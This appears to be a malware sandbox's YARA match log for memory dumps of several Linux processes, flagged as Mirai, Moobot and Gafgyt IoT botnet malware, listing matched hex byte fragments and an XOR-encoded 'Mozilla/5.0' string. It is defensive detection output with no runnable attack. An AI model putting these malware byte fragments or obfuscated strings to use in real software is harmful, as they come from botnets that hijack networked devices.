6649.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6649.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7327.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7327.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7327.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7327.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7327.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7327.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7284.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7284.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7284.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7284.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7284.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7284.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6776.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7079.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7079.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7079.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7079.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7079.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7079.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6933.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6933.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6933.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6933.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6933.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6933.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7404.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7114.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7172.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6482.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6482.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6482.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6482.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6482.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6482.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
